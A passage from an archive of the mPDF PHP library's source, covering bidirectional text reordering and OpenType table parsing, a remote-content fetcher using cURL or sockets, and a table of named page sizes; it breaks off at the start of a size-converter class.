$laststrongtype = -1; for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (!isset($chardata[$i]['diid']) || $chardata[$i]['diid'] != $ir) { continue; } // Ignore characters in a different isolate run if (isset($chardata[$i]['sor'])) { $laststrongtype = $chardata[$i]['sor']; } if (isset($chardata[$i]['type']) && $chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN && $laststrongtype == Ucdn::BIDI_CLASS_L) { $chardata[$i]['type'] = Ucdn::BIDI_CLASS_L; } if (isset($chardata[$i]['type']) && ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_L || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_R || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_AL)) { $laststrongtype = $chardata[$i]['type']; } } } } // N1. A sequence of neutrals takes the direction of the surrounding strong text if the text on both sides has the same direction. European and Arabic numbers act as if they were R in terms of their influence on neutrals. Start-of-level-run (sor) and end-of-level-run (eor) are used at level run boundaries. for ($ir = 0; $ir <= $dictr; $ir++) { $laststrongtype = -1; for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (!isset($chardata[$i]['diid']) || $chardata[$i]['diid'] != $ir) { continue; } // Ignore characters in a different isolate run if (isset($chardata[$i]['sor'])) { $laststrongtype = $chardata[$i]['sor']; } if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ON || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_WS) { $left = -1; // LEFT if ($laststrongtype == Ucdn::BIDI_CLASS_R || $laststrongtype == Ucdn::BIDI_CLASS_EN || $laststrongtype == Ucdn::BIDI_CLASS_AN) { $left = Ucdn::BIDI_CLASS_R; } elseif ($laststrongtype == Ucdn::BIDI_CLASS_L) { $left = Ucdn::BIDI_CLASS_L; } // RIGHT $right = -1; // move to the right of any following neutrals OR hit a run boundary if (isset($chardata[$i]['eor'])) { $right = $chardata[$i]['eor']; } else { $nexttype = -1; $nc2 = $nc; $i2 = $i; while (!($nc2 == ($numchunks - 1) && $i2 == ((count($para[$nc2][18]['char_data'])) - 1))) { // while not at end of last chunk $i2++; if ($i2 >= count($para[$nc2][18]['char_data'])) { $nc2++; $i2 = 0; } if (!isset($para[$nc2][18]['char_data'][$i2]['diid']) || $para[$nc2][18]['char_data'][$i2]['diid'] != $ir) { continue; } $nexttype = $para[$nc2][18]['char_data'][$i2]['type']; if ($nexttype == Ucdn::BIDI_CLASS_R || $nexttype == Ucdn::BIDI_CLASS_EN || $nexttype == Ucdn::BIDI_CLASS_AN) { $right = Ucdn::BIDI_CLASS_R; break; } elseif ($nexttype == Ucdn::BIDI_CLASS_L) { $right = Ucdn::BIDI_CLASS_L; break; } elseif (isset($para[$nc2][18]['char_data'][$i2]['eor'])) { $right = $para[$nc2][18]['char_data'][$i2]['eor']; break; } } } if ($left > -1 && $left == $right) { $chardata[$i]['orig_type'] = $chardata[$i]['type']; // Need to store the original 'WS' for reference in L1 below $chardata[$i]['type'] = $left; } } elseif ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_L || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_R || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_AN) { $laststrongtype = $chardata[$i]['type']; } } } } // N2. Any remaining neutrals take the embedding direction for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (isset($chardata[$i]['type']) && ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_ON || $chardata[$i]['type'] == Ucdn::BIDI_CLASS_WS)) { $chardata[$i]['orig_type'] = $chardata[$i]['type']; // Need to store the original 'WS' for reference in L1 below $chardata[$i]['type'] = ($chardata[$i]['level'] % 2) ? Ucdn::BIDI_CLASS_R : Ucdn::BIDI_CLASS_L; } } } // I1. For all characters with an even (left-to-right) embedding direction, those of type R go up one level and those of type AN or EN go up two levels. // I2. For all characters with an odd (right-to-left) embedding direction, those of type L, EN or AN go up one level. for ($nc = 0; $nc < $numchunks; $nc++) { $chardata = & $para[$nc][18]['char_data']; $numchars = count($chardata); for ($i = 0; $i < $numchars; ++$i) { if (isset($chardata[$i]['level'])) { $odd = $chardata[$i]['level'] % 2; if ($odd) { if (($chardata[$i]['type'] == Ucdn::BIDI_CLASS_L) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_AN) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN)) { $chardata[$i]['level'] += 1; } } else { if ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_R) { $chardata[$i]['level'] += 1; } elseif (($chardata[$i]['type'] == Ucdn::BIDI_CLASS_AN) || ($chardata[$i]['type'] == Ucdn::BIDI_CLASS_EN)) { $chardata[$i]['level'] += 2; } } } } } // Remove Isolate formatters $numchunks = count($para); if ($controlchars) { for ($nc = 0; $nc < $numchunks; $nc++) { $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x81\xa6"); $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x81\xa7"); $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x81\xa8"); $this->removeChar($para[$nc][0], $para[$nc][18], "\xe2\x81\xa9"); preg_replace("/\x{2066}-\x{2069}/u", '', $para[$nc][0]); } // Remove any blank chunks made by removing directional codes for ($nc = ($numchunks - 1); $nc >= 0; $nc--) { if (count($para[$nc][18]['char_data']) == 0) { array_splice($para, $nc, 1); } } } } /** * Reorder, once divided into lines */ public function bidiReorder(&$chunkorder, &$content, &$cOTLdata, $blockdir) { $bidiData = []; // First combine into one array (and get the highest level in use) $numchunks = count($content); $maxlevel = 0; for ($nc = 0; $nc < $numchunks; $nc++) { $numchars = isset($cOTLdata[$nc]['char_data']) ? count($cOTLdata[$nc]['char_data']) : 0; for ($i = 0; $i < $numchars; ++$i) { $carac = []; if (isset($cOTLdata[$nc]['GPOSinfo'][$i])) { $carac['GPOSinfo'] = $cOTLdata[$nc]['GPOSinfo'][$i]; } $carac['uni'] = $cOTLdata[$nc]['char_data'][$i]['uni']; if (isset($cOTLdata[$nc]['char_data'][$i]['type'])) { $carac['type'] = $cOTLdata[$nc]['char_data'][$i]['type']; } if (isset($cOTLdata[$nc]['char_data'][$i]['level'])) { $carac['level'] = $cOTLdata[$nc]['char_data'][$i]['level']; } if (isset($cOTLdata[$nc]['char_data'][$i]['orig_type'])) { $carac['orig_type'] = $cOTLdata[$nc]['char_data'][$i]['orig_type']; } $carac['group'] = $cOTLdata[$nc]['group'][$i]; $carac['chunkid'] = $chunkorder[$nc]; // gives font id and/or object ID $maxlevel = max((isset($carac['level']) ? $carac['level'] : 0), $maxlevel); $bidiData[] = $carac; } } if ($maxlevel == 0) { return; } $numchars = count($bidiData); // L1. On each line, reset the embedding level of the following characters to the paragraph embedding level: // 1. Segment separators (Tab) 'S', // 2. Paragraph separators 'B', // 3. Any sequence of whitespace characters 'WS' preceding a segment separator or paragraph separator, and // 4. Any sequence of whitespace characters 'WS' at the end of the line. // The types of characters used here are the original types, not those modified by the previous phase cf N1 and N2******* // Because a Paragraph Separator breaks lines, there will be at most one per line, at the end of that line. // Set the initial paragraph embedding level if ($blockdir == 'rtl') { $pel = 1; } else { $pel = 0; } for ($i = ($numchars - 1); $i > 0; $i--) { if ($bidiData[$i]['type'] == Ucdn::BIDI_CLASS_WS || (isset($bidiData[$i]['orig_type']) && $bidiData[$i]['orig_type'] == Ucdn::BIDI_CLASS_WS)) { $bidiData[$i]['level'] = $pel; } else { break; } } // L2. From the highest level found in the text to the lowest odd level on each line, including intermediate levels not actually present in the text, reverse any contiguous sequence of characters that are at that level or higher. for ($j = $maxlevel; $j > 0; $j--) { $ordarray = []; $revarr = []; $onlevel = false; for ($i = 0; $i < $numchars; ++$i) { if ($bidiData[$i]['level'] >= $j) { $onlevel = true; // L4. A character is depicted by a mirrored glyph if and only if (a) the resolved directionality of that character is R, and (b) the Bidi_Mirrored property value of that character is true. if (isset(Ucdn::$mirror_pairs[$bidiData[$i]['uni']]) && $bidiData[$i]['type'] == Ucdn::BIDI_CLASS_R) { $bidiData[$i]['uni'] = Ucdn::$mirror_pairs[$bidiData[$i]['uni']]; } $revarr[] = $bidiData[$i]; } else { if ($onlevel) { $revarr = array_reverse($revarr); $ordarray = array_merge($ordarray, $revarr); $revarr = []; $onlevel = false; } $ordarray[] = $bidiData[$i]; } } if ($onlevel) { $revarr = array_reverse($revarr); $ordarray = array_merge($ordarray, $revarr); } $bidiData = $ordarray; } $content = []; $cOTLdata = []; $chunkorder = []; $nc = -1; // New chunk order ID $chunkid = -1; foreach ($bidiData as $carac) { if ($carac['chunkid'] != $chunkid) { $nc++; $chunkorder[$nc] = $carac['chunkid']; $cctr = 0; $content[$nc] = ''; $cOTLdata[$nc]['group'] = ''; } if ($carac['uni'] != 0xFFFC) { // Object replacement character (65532) $content[$nc] .= UtfString::code2utf($carac['uni']); $cOTLdata[$nc]['group'] .= $carac['group']; if (!empty($carac['GPOSinfo'])) { if (isset($carac['GPOSinfo'])) { $cOTLdata[$nc]['GPOSinfo'][$cctr] = $carac['GPOSinfo']; } $cOTLdata[$nc]['GPOSinfo'][$cctr]['wDir'] = ($carac['level'] % 2) ? 'RTL' : 'LTR'; } } $chunkid = $carac['chunkid']; $cctr++; } } public function splitOTLdata(&$cOTLdata, $OTLcutoffpos, $OTLrestartpos = '') { if (!$OTLrestartpos) { $OTLrestartpos = $OTLcutoffpos; } $newOTLdata = ['GPOSinfo' => [], 'char_data' => []]; $newOTLdata['group'] = substr($cOTLdata['group'], $OTLrestartpos); $cOTLdata['group'] = substr($cOTLdata['group'], 0, $OTLcutoffpos); if (isset($cOTLdata['GPOSinfo']) && $cOTLdata['GPOSinfo']) { foreach ($cOTLdata['GPOSinfo'] as $k => $val) { if ($k >= $OTLrestartpos) { $newOTLdata['GPOSinfo'][($k - $OTLrestartpos)] = $val; } if ($k >= $OTLcutoffpos) { unset($cOTLdata['GPOSinfo'][$k]); //$cOTLdata['GPOSinfo'][$k] = array(); } } } if (isset($cOTLdata['char_data'])) { $newOTLdata['char_data'] = array_slice($cOTLdata['char_data'], $OTLrestartpos); array_splice($cOTLdata['char_data'], $OTLcutoffpos); } // Not necessary - easier to debug if (isset($cOTLdata['GPOSinfo'])) { ksort($cOTLdata['GPOSinfo']); } if (isset($newOTLdata['GPOSinfo'])) { ksort($newOTLdata['GPOSinfo']); } return $newOTLdata; } public function sliceOTLdata($OTLdata, $pos, $len) { $newOTLdata = ['GPOSinfo' => [], 'char_data' => []]; $newOTLdata['group'] = substr($OTLdata['group'], $pos, $len); if ($OTLdata['GPOSinfo']) { foreach ($OTLdata['GPOSinfo'] as $k => $val) { if ($k >= $pos && $k < ($pos + $len)) { $newOTLdata['GPOSinfo'][($k - $pos)] = $val; } } } if (isset($OTLdata['char_data'])) { $newOTLdata['char_data'] = array_slice($OTLdata['char_data'], $pos, $len); } // Not necessary - easier to debug if ($newOTLdata['GPOSinfo']) { ksort($newOTLdata['GPOSinfo']); } return $newOTLdata; } /** * Remove one or more occurrences of $char (single character) from $txt and adjust OTLdata */ public function removeChar(&$txt, &$cOTLdata, $char) { while (mb_strpos($txt, $char, 0, $this->mpdf->mb_enc) !== false) { $pos = mb_strpos($txt, $char, 0, $this->mpdf->mb_enc); $newGPOSinfo = []; $cOTLdata['group'] = substr_replace($cOTLdata['group'], '', $pos, 1); if ($cOTLdata['GPOSinfo']) { foreach ($cOTLdata['GPOSinfo'] as $k => $val) { if ($k > $pos) { $newGPOSinfo[($k - 1)] = $val; } elseif ($k != $pos) { $newGPOSinfo[$k] = $val; } } $cOTLdata['GPOSinfo'] = $newGPOSinfo; } if (isset($cOTLdata['char_data'])) { array_splice($cOTLdata['char_data'], $pos, 1); } $txt = preg_replace("/" . $char . "/", '', $txt, 1); } } /** * Remove one or more occurrences of $char (single character) from $txt and adjust OTLdata */ public function replaceSpace(&$txt, &$cOTLdata) { $char = chr(194) . chr(160); // NBSP while (mb_strpos($txt, $char, 0, $this->mpdf->mb_enc) !== false) { $pos = mb_strpos($txt, $char, 0, $this->mpdf->mb_enc); if ($cOTLdata['char_data'][$pos]['uni'] == 160) { $cOTLdata['char_data'][$pos]['uni'] = 32; } $txt = preg_replace("/" . $char . "/", ' ', $txt, 1); } } public function trimOTLdata(&$cOTLdata, $Left = true, $Right = true) { $len = (!is_array($cOTLdata) || $cOTLdata['char_data'] === null) ? 0 : count($cOTLdata['char_data']); $nLeft = 0; $nRight = 0; for ($i = 0; $i < $len; $i++) { if ($cOTLdata['char_data'][$i]['uni'] == 32 || $cOTLdata['char_data'][$i]['uni'] == 12288) { $nLeft++; } // 12288 = 0x3000 = CJK space else { break; } } for ($i = ($len - 1); $i >= 0; $i--) { if ($cOTLdata['char_data'][$i]['uni'] == 32 || $cOTLdata['char_data'][$i]['uni'] == 12288) { $nRight++; } // 12288 = 0x3000 = CJK space else { break; } } // Trim Right if ($Right && $nRight) { $cOTLdata['group'] = substr($cOTLdata['group'], 0, strlen($cOTLdata['group']) - $nRight); if ($cOTLdata['GPOSinfo']) { foreach ($cOTLdata['GPOSinfo'] as $k => $val) { if ($k >= $len - $nRight) { unset($cOTLdata['GPOSinfo'][$k]); } } } if (isset($cOTLdata['char_data'])) { for ($i = 0; $i < $nRight; $i++) { array_pop($cOTLdata['char_data']); } } } // Trim Left if ($Left && $nLeft) { $cOTLdata['group'] = substr($cOTLdata['group'], $nLeft); if ($cOTLdata['GPOSinfo']) { $newPOSinfo = []; foreach ($cOTLdata['GPOSinfo'] as $k => $val) { if ($k >= $nLeft) { $newPOSinfo[$k - $nLeft] = $cOTLdata['GPOSinfo'][$k]; } } $cOTLdata['GPOSinfo'] = $newPOSinfo; } if (isset($cOTLdata['char_data'])) { for ($i = 0; $i < $nLeft; $i++) { array_shift($cOTLdata['char_data']); } } } } //////////////////////////////////////////////////////////////// ////////// GENERAL OTL FUNCTIONS ///////////////// //////////////////////////////////////////////////////////////// private function glyphToChar($gid) { return (ord($this->glyphIDtoUni[$gid * 3]) << 16) + (ord($this->glyphIDtoUni[$gid * 3 + 1]) << 8) + ord($this->glyphIDtoUni[$gid * 3 + 2]); } private function unicode_hex($unicode_dec) { return (str_pad(strtoupper(dechex($unicode_dec)), 5, '0', STR_PAD_LEFT)); } private function seek($pos) { $this->_pos = $pos; } private function skip($delta) { $this->_pos += $delta; } private function read_short() { $a = (ord($this->ttfOTLdata[$this->_pos]) << 8) + ord($this->ttfOTLdata[$this->_pos + 1]); if ($a & (1 << 15)) { $a = ($a - (1 << 16)); } $this->_pos += 2; return $a; } private function read_ushort() { $a = (ord($this->ttfOTLdata[$this->_pos]) << 8) + ord($this->ttfOTLdata[$this->_pos + 1]); $this->_pos += 2; return $a; } private function _getCoverageGID() { // Called from Lookup Type 1, Format 1 - returns glyphIDs rather than hexstrings // Need to do this separately to cache separately // Otherwise the same as fn below _getCoverage $offset = $this->_pos; if (isset($this->LuDataCache[$this->fontkey]['GID'][$offset])) { $g = $this->LuDataCache[$this->fontkey]['GID'][$offset]; } else { $g = []; $CoverageFormat = $this->read_ushort(); if ($CoverageFormat == 1) { $CoverageGlyphCount = $this->read_ushort(); for ($gid = 0; $gid < $CoverageGlyphCount; $gid++) { $glyphID = $this->read_ushort(); $g[] = $glyphID; } } if ($CoverageFormat == 2) { $RangeCount = $this->read_ushort(); for ($r = 0; $r < $RangeCount; $r++) { $start = $this->read_ushort(); $end = $this->read_ushort(); $StartCoverageIndex = $this->read_ushort(); // n/a for ($glyphID = $start; $glyphID <= $end; $glyphID++) { $g[] = $glyphID; } } } $this->LuDataCache[$this->fontkey]['GID'][$offset] = $g; } return $g; } private function _getCoverage() { $offset = $this->_pos; if (isset($this->LuDataCache[$this->fontkey][$offset])) { $g = $this->LuDataCache[$this->fontkey][$offset]; } else { $g = []; $CoverageFormat = $this->read_ushort(); if ($CoverageFormat == 1) { $CoverageGlyphCount = $this->read_ushort(); for ($gid = 0; $gid < $CoverageGlyphCount; $gid++) { $glyphID = $this->read_ushort(); $g[] = $this->unicode_hex($this->glyphToChar($glyphID)); } } if ($CoverageFormat == 2) { $RangeCount = $this->read_ushort(); for ($r = 0; $r < $RangeCount; $r++) { $start = $this->read_ushort(); $end = $this->read_ushort(); $StartCoverageIndex = $this->read_ushort(); // n/a for ($glyphID = $start; $glyphID <= $end; $glyphID++) { $g[] = $this->unicode_hex($this->glyphToChar($glyphID)); } } } $this->LuDataCache[$this->fontkey][$offset] = $g; } return $g; } private function _getClasses($offset) { if (isset($this->LuDataCache[$this->fontkey][$offset])) { $GlyphByClass = $this->LuDataCache[$this->fontkey][$offset]; } else { $this->seek($offset); $ClassFormat = $this->read_ushort(); $GlyphByClass = []; if ($ClassFormat == 1) { $StartGlyph = $this->read_ushort(); $GlyphCount = $this->read_ushort(); for ($i = 0; $i < $GlyphCount; $i++) { $startGlyphID = $StartGlyph + $i; $endGlyphID = $StartGlyph + $i; $class = $this->read_ushort(); // Note: Font FreeSerif , tag "blws" // $BacktrackClasses[0] is defined ? a mistake in the font ??? // Let's ignore for now if ($class > 0) { for ($g = $startGlyphID; $g <= $endGlyphID; $g++) { if ($this->glyphToChar($g)) { $GlyphByClass[$class][$this->glyphToChar($g)] = 1; } } } } } elseif ($ClassFormat == 2) { $tableCount = $this->read_ushort(); for ($i = 0; $i < $tableCount; $i++) { $startGlyphID = $this->read_ushort(); $endGlyphID = $this->read_ushort(); $class = $this->read_ushort(); // Note: Font FreeSerif , tag "blws" // $BacktrackClasses[0] is defined ? a mistake in the font ??? // Let's ignore for now if ($class > 0) { for ($g = $startGlyphID; $g <= $endGlyphID; $g++) { if ($this->glyphToChar($g)) { $GlyphByClass[$class][$this->glyphToChar($g)] = 1; } } } } } $this->LuDataCache[$this->fontkey][$offset] = $GlyphByClass; } return $GlyphByClass; } private function _getOTLscriptTag($ScriptLang, $scripttag, $scriptblock, $shaper, $useOTL, $mode) { // ScriptLang is the array of available script/lang tags supported by the font // $scriptblock is the (number/code) for the script of the actual text string based on Unicode properties (Ucdn::$uni_scriptblock) // $scripttag is the default tag derived from $scriptblock /* http://www.microsoft.com/typography/otspec/ttoreg.htm http://www.microsoft.com/typography/otspec/scripttags.htm Values for useOTL Bit dn hn Value 1 1 0x0001 GSUB/GPOS - Latin scripts 2 2 0x0002 GSUB/GPOS - Cyrillic scripts 3 4 0x0004 GSUB/GPOS - Greek scripts 4 8 0x0008 GSUB/GPOS - CJK scripts (excluding Hangul-Jamo) 5 16 0x0010 (Reserved) 6 32 0x0020 (Reserved) 7 64 0x0040 (Reserved) 8 128 0x0080 GSUB/GPOS - All other scripts (including all RTL scripts, complex scripts with shapers etc) NB If change for RTL - cf. function magic_reverse_dir in mpdf.php to update */ if ($scriptblock == Ucdn::SCRIPT_LATIN) { if (!($useOTL & 0x01)) { return ['', false]; } } elseif ($scriptblock == Ucdn::SCRIPT_CYRILLIC) { if (!($useOTL & 0x02)) { return ['', false]; } } elseif ($scriptblock == Ucdn::SCRIPT_GREEK) { if (!($useOTL & 0x04)) { return ['', false]; } } elseif ($scriptblock >= Ucdn::SCRIPT_HIRAGANA && $scriptblock <= Ucdn::SCRIPT_YI) { if (!($useOTL & 0x08)) { return ['', false]; } } else { if (!($useOTL & 0x80)) { return ['', false]; } } // If availabletags includes scripttag - choose if (isset($ScriptLang[$scripttag])) { return [$scripttag, false]; } // If INDIC (or Myanmar) and available tag not includes new version, check if includes old version & choose old version if ($shaper) { switch ($scripttag) { case 'bng2': if (isset($ScriptLang['beng'])) { return ['beng', true]; } // fallthrough case 'dev2': if (isset($ScriptLang['deva'])) { return ['deva', true]; } // fallthrough case 'gjr2': if (isset($ScriptLang['gujr'])) { return ['gujr', true]; } // fallthrough case 'gur2': if (isset($ScriptLang['guru'])) { return ['guru', true]; } // fallthrough case 'knd2': if (isset($ScriptLang['knda'])) { return ['knda', true]; } // fallthrough case 'mlm2': if (isset($ScriptLang['mlym'])) { return ['mlym', true]; } // fallthrough case 'ory2': if (isset($ScriptLang['orya'])) { return ['orya', true]; } // fallthrough case 'tml2': if (isset($ScriptLang['taml'])) { return ['taml', true]; } // fallthrough case 'tel2': if (isset($ScriptLang['telu'])) { return ['telu', true]; } // fallthrough case 'mym2': if (isset($ScriptLang['mymr'])) { return ['mymr', true]; } } } // choose DFLT if present if (isset($ScriptLang['DFLT'])) { return ['DFLT', false]; } // else choose dflt if present if (isset($ScriptLang['dflt'])) { return ['dflt', false]; } // else return no scriptTag if (isset($ScriptLang['latn'])) { return ['latn', false]; } // else return no scriptTag return ['', false]; } // LangSys tags private function _getOTLLangTag($ietf, $available) { // http://en.wikipedia.org/wiki/List_of_ISO_639-1_codes // http://www.microsoft.com/typography/otspec/languagetags.htm // IETF tag = e.g. en-US, und-Arab, sr-Cyrl cf. class LangToFont if ($available == '') { return ''; } $tags = preg_split('/-/', $ietf); $lang = ''; $country = ''; $script = ''; $lang = strtolower($tags[0]); if (isset($tags[1]) && $tags[1]) { if (strlen($tags[1]) == 2) { $country = strtolower($tags[1]); } } if (isset($tags[2]) && $tags[2]) { $country = strtolower($tags[2]); } if ($lang != '' && isset(Ucdn::$ot_languages[$lang])) { $langsys = Ucdn::$ot_languages[$lang]; } elseif ($lang != '' && $country != '' && isset(Ucdn::$ot_languages[$lang . '' . $country])) { $langsys = Ucdn::$ot_languages[$lang . '' . $country]; } else { $langsys = "DFLT"; } if (strpos($available, $langsys) === false) { if (strpos($available, "DFLT") !== false) { return "DFLT"; } else { return ''; } } return $langsys; } private function _dumpproc($GPOSSUB, $lookupID, $subtable, $Type, $Format, $ptr, $currGlyph, $level) { echo '<div style="padding-left: ' . ($level * 2) . 'em;">'; echo $GPOSSUB . ' LookupID #' . $lookupID . ' Subtable#' . $subtable . ' Type: ' . $Type . ' Format: ' . $Format . '<br />'; echo '<div style="font-family:monospace">'; echo 'Glyph position: ' . $ptr . ' Current Glyph: ' . $currGlyph . '<br />'; for ($i = 0; $i < count($this->OTLdata); $i++) { if ($i == $ptr) { echo '<b>'; } echo $this->OTLdata[$i]['hex'] . ' '; if ($i == $ptr) { echo '</b>'; } } echo '<br />'; for ($i = 0; $i < count($this->OTLdata); $i++) { if ($i == $ptr) { echo '<b>'; } echo str_pad($this->OTLdata[$i]['uni'], 5) . ' '; if ($i == $ptr) { echo '</b>'; } } echo '<br />'; if ($GPOSSUB == 'GPOS') { for ($i = 0; $i < count($this->OTLdata); $i++) { if (!empty($this->OTLdata[$i]['GPOSinfo'])) { echo $this->OTLdata[$i]['hex'] . ' &#x' . $this->OTLdata[$i]['hex'] . '; '; print_r($this->OTLdata[$i]['GPOSinfo']); echo ' '; } } } echo '</div>'; echo '</div>'; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/RemoteContentFetcher.php�������������������������������������������������������0000644�����������������00000006641�14760002214�0015307 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Utils\Arrays; use Psr\Log\LoggerInterface; use Mpdf\Log\Context as LogContext; class RemoteContentFetcher implements \Psr\Log\LoggerAwareInterface { /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Psr\Log\LoggerInterface */ private $logger; public function __construct(Mpdf $mpdf, LoggerInterface $logger) { $this->mpdf = $mpdf; $this->logger = $logger; } public function getFileContentsByCurl($url) { $this->logger->debug(sprintf('Fetching (cURL) content of remote URL "%s"', $url), ['context' => LogContext::REMOTE_CONTENT]); $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1'); // mPDF 5.7.4 curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->mpdf->curlTimeout); if ($this->mpdf->curlFollowLocation) { curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); } if ($this->mpdf->curlAllowUnsafeSslRequests) { curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); } if (is_file($this->mpdf->curlCaCertificate)) { curl_setopt($ch, CURLOPT_CAINFO, $this->mpdf->curlCaCertificate); } if ($this->mpdf->curlProxy) { curl_setopt($ch, CURLOPT_PROXY, $this->mpdf->curlProxy); if ($this->mpdf->curlProxyAuth) { curl_setopt($ch, CURLOPT_PROXYUSERPWD, $this->mpdf->curlProxyAuth); } } $data = curl_exec($ch); if (curl_error($ch)) { $message = sprintf('cURL error: "%s"', curl_error($ch)); $this->logger->error($message, ['context' => LogContext::REMOTE_CONTENT]); if ($this->mpdf->debug) { throw new \Mpdf\MpdfException($message); } } $info = curl_getinfo($ch); if (isset($info['http_code']) && $info['http_code'] !== 200) { $message = sprintf('HTTP error: %d', $info['http_code']); $this->logger->error($message, ['context' => LogContext::REMOTE_CONTENT]); if ($this->mpdf->debug) { throw new \Mpdf\MpdfException($message); } } curl_close($ch); return $data; } public function getFileContentsBySocket($url) { $this->logger->debug(sprintf('Fetching (socket) content of remote URL "%s"', $url), ['context' => LogContext::REMOTE_CONTENT]); // mPDF 5.7.3 $timeout = 1; $p = parse_url($url); $file = Arrays::get($p, 'path', ''); $scheme = Arrays::get($p, 'scheme', ''); $port = Arrays::get($p, 'port', 80); $prefix = ''; if ($scheme === 'https') { $prefix = 'ssl://'; $port = Arrays::get($p, 'port', 443); } $query = Arrays::get($p, 'query', null); if ($query) { $file .= '?' . $query; } if (!($fh = @fsockopen($prefix . $p['host'], $port, $errno, $errstr, $timeout))) { $this->logger->error(sprintf('Socket error "%s": "%s"', $errno, $errstr), ['context' => LogContext::REMOTE_CONTENT]); return false; } $getstring = 'GET ' . $file . " HTTP/1.0 \r\n" . 'Host: ' . $p['host'] . " \r\n" . "Connection: close\r\n\r\n"; fwrite($fh, $getstring); // Get rid of HTTP header $s = fgets($fh, 1024); if (!$s) { return false; } while (!feof($fh)) { $s = fgets($fh, 1024); if ($s === "\r\n") { break; } } $data = ''; while (!feof($fh)) { $data .= fgets($fh, 1024); } fclose($fh); return $data; } public function setLogger(LoggerInterface $logger) { $this->logger = $logger; } } �����������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/PageFormat.php�����������������������������������������������������������������0000644�����������������00000004527�14760002214�0013246 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; class PageFormat { /** * This method returns an array of width and height of given named format. * * Returned values are milimeters multiplied by scale factor of 72 / 25.4 * * @param string $name * @return float[] Width and height of given format */ public static function getSizeFromName($name) { $format = strtoupper($name); $formats = [ '4A0' => [4767.87, 6740.79], '2A0' => [3370.39, 4767.87], 'A0' => [2383.94, 3370.39], 'A1' => [1683.78, 2383.94], 'A2' => [1190.55, 1683.78], 'A3' => [841.89, 1190.55], 'A4' => [595.28, 841.89], 'A5' => [419.53, 595.28], 'A6' => [297.64, 419.53], 'A7' => [209.76, 297.64], 'A8' => [147.40, 209.76], 'A9' => [104.88, 147.40], 'A10' => [73.70, 104.88], 'B0' => [2834.65, 4008.19], 'B1' => [2004.09, 2834.65], 'B2' => [1417.32, 2004.09], 'B3' => [1000.63, 1417.32], 'B4' => [708.66, 1000.63], 'B5' => [498.90, 708.66], 'B6' => [354.33, 498.90], 'B7' => [249.45, 354.33], 'B8' => [175.75, 249.45], 'B9' => [124.72, 175.75], 'B10' => [87.87, 124.72], 'C0' => [2599.37, 3676.54], 'C1' => [1836.85, 2599.37], 'C2' => [1298.27, 1836.85], 'C3' => [918.43, 1298.27], 'C4' => [649.13, 918.43], 'C5' => [459.21, 649.13], 'C6' => [323.15, 459.21], 'C7' => [229.61, 323.15], 'C8' => [161.57, 229.61], 'C9' => [113.39, 161.57], 'C10' => [79.37, 113.39], 'RA0' => [2437.80, 3458.27], 'RA1' => [1729.13, 2437.80], 'RA2' => [1218.90, 1729.13], 'RA3' => [864.57, 1218.90], 'RA4' => [609.45, 864.57], 'SRA0' => [2551.18, 3628.35], 'SRA1' => [1814.17, 2551.18], 'SRA2' => [1275.59, 1814.17], 'SRA3' => [907.09, 1275.59], 'SRA4' => [637.80, 907.09], 'LETTER' => [612.00, 792.00], 'LEGAL' => [612.00, 1008.00], 'LEDGER' => [1224.00, 792.00], 'TABLOID' => [792.00, 1224.00], 'EXECUTIVE' => [521.86, 756.00], 'FOLIO' => [612.00, 936.00], 'B' => [362.83, 561.26], // 'B' format paperback size 128x198mm 'A' => [314.65, 504.57], // 'A' format paperback size 111x178mm 'DEMY' => [382.68, 612.28], // 'Demy' format paperback size 135x216mm 'ROYAL' => [433.70, 663.30], // 'Royal' format paperback size 153x234mm ]; if (!isset($formats[$format])) { throw new \Mpdf\MpdfException(sprintf('Unknown page format %s', $format)); } return $formats[$format]; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/SizeConverter.php��������������������������������������������������������������0000644�����������������00000006615�14760002214�0014023 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Psr\Log\LoggerInterface; use Mpdf\Log\Context as LogContext; class SizeConverter implements \Psr\Log\LoggerAwareInterface { private $dpi; private 